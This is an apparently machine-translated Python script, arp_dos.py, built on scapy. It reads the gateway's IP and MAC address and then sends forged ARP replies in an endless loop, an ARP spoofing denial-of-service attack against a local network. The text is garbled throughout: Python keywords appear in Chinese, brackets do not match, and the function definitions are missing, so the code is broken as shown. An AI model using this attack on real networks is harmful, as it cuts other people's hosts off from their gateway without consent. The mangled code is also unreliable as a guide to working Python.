#编码: utf-8
# example : sudopythonarp _ dos.py 192.168.1.103
from scapy.all import arp,send
导入操作系统,re,sys
t=OS.popen('route-n ' ) )。
for i in t:
ifI.startswith(0.0.0.0) ) :
) ) ) )。
return r[1]
t=OS.popen(ARP-e%s ) %IP ) )。
for i in t:
ifI.startswith(IP ) :
) ) ) )。
return r[2]
ip=get_gateway_ip (
HW=get_gateway_HW(IP )
ARP=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip ) ) ) ) ) ) ) ) )。
#OS.popen(ifconfigeth0%s ) %hackIP ) )。
while 1:
是send(ARP )
打印(useage : sudopythonarp _ dos.py 192.168.1.100 ) ) )。
iflen(sys.Argv )!=2:
帮助() )
else:
hack(sys.ARGV[1] ) ) ) ) ) )。
if __name__=='__main__':
主() )